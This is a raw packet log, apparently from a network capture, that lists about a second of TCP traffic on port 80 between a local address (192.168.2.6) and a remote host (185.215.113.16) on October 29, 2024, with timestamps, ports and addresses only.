Oct 29, 2024 20:44:54.487375021 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487473965 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.487494946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487507105 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487564087 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.487692118 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487704039 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487732887 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.487894058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487910032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487921953 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.487940073 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.487957001 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.488188982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.488200903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.488212109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.488257885 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.488918066 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.488929987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.488940954 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.488951921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.488955975 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.488962889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.488972902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.488981009 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.488989115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.489011049 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.489038944 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.489167929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.489211082 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.489222050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.489262104 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.529484987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.529520035 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.529535055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.529536963 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.529582977 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.582918882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.582954884 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.582967997 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.583048105 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.605258942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.605324030 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.605386019 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.605400085 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.605443001 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.605679989 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.605693102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.605732918 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.605855942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.605869055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.605912924 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.606040001 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606050968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606062889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606075048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606084108 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.606113911 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.606534958 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606549025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606560946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606590033 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.606825113 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606837034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606848955 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606861115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606872082 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.606878042 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.606901884 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.606915951 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.607157946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.607332945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.607422113 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.607479095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.607491016 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.607625961 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.607666016 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.607676983 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.607687950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.607701063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.607718945 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.607734919 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.646255970 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.646295071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.646306992 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.646349907 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.646361113 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.646395922 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.700059891 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.700119019 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.700131893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.700232983 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.721012115 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721045017 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721057892 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721168041 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.721280098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721292973 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721304893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721318960 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721335888 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.721374035 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.721654892 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721667051 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721679926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721708059 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.721869946 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721883059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721894026 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721918106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.721940994 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721946001 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.721954107 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721966028 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721983910 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.721992016 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.721996069 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.722019911 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.722716093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.722728014 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.722739935 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.722757101 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.722774982 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.722815037 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.722961903 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.722974062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.722990990 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.723012924 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.723030090 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.723335028 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.723346949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.723360062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.723373890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.723385096 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.723397970 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.723417997 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.763199091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.763216972 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.763228893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.763288021 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.763319969 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.816395044 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.816535950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.816555023 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.816585064 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.816622972 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.816659927 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.816875935 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.817007065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.817054987 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.837399006 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.837459087 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.837471962 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.837527037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.837543964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.837544918 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.837583065 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.837745905 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.837759018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.837798119 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.837924004 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.837989092 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.838000059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838088036 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838098049 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838128090 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.838264942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838275909 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838288069 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838299990 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838311911 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.838342905 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.838619947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838660002 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.838699102 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838711023 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838745117 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.838972092 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838982105 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.838993073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839004040 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839016914 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.839019060 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839044094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.839364052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839406013 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.839560032 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839571953 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839582920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839595079 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839607954 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839607000 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.839632034 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.839940071 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.839983940 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.839993000 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.840004921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.840055943 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.880043030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.880065918 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.880083084 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.880115032 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.933938980 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.933973074 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.933990002 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.933995008 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.934035063 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.954482079 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.954519033 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.954535961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.954562902 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.954727888 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.954742908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.954783916 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.954916954 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.954931021 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.954961061 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.955135107 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955151081 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955173969 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955184937 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.955188036 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955204964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955219984 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.955249071 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.955461025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955593109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955607891 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955630064 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.955822945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955837011 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955854893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.955874920 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.955898046 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.956070900 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956085920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956101894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956126928 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.956473112 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956487894 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956502914 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956520081 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956528902 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.956533909 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956557989 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.956568003 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.956809998 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956926107 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956940889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.956973076 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.957062006 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.957077026 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.957093000 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.957098961 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.957107067 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.957127094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.957386971 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.957454920 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:54.997014046 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.997030020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.997045994 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:54.997078896 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.050692081 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.050720930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.050738096 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.050753117 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.050789118 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.071171999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.071238995 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.071485996 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.071542978 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.071553946 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.071558952 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.071603060 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.071775913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.071790934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.071806908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.071814060 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.071825027 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.071836948 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.072179079 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072192907 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072207928 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072223902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072232962 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.072263956 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.072545052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072559118 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072572947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072582960 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.072588921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072613001 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.072920084 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072936058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.072964907 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.073101997 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073116064 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073143959 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.073319912 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073342085 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073355913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073369980 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073380947 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.073386908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073411942 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.073426962 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.073879004 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073892117 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073905945 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073924065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073935986 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.073939085 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073955059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073966980 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.073971033 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.073993921 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.074424982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.074438095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.074482918 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.113890886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.113920927 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.113935947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.113955021 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.113984108 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.167717934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.167742968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.167757034 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.167790890 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.190289021 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.190313101 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.190329075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.190339088 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.190370083 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.190527916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.190542936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.190557957 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.190572977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:55.190582991 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.190615892 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:55.190881968 CET	80	62422	185.215.113.16	192.168.2.6
